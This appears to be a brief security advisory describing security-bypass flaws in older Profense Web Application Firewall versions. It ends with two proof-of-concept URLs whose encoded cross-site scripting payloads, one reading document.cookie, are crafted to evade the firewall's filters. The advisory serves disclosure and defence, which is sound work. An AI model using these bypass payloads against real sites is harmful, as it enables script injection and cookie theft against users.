source: http://www.securityfocus.com/bid/35053/info

Profense Web Application Firewall is prone to multiple security-bypass vulnerabilities.

An attacker can exploit these issues to bypass certain security restrictions and perform various web-application attacks.

Versions *prior to* the following are vulnerable:

Profense 2.4.4
Profense 2.2.22 

http://www.example.com/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=%0AByPass
http://www.example.com/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E 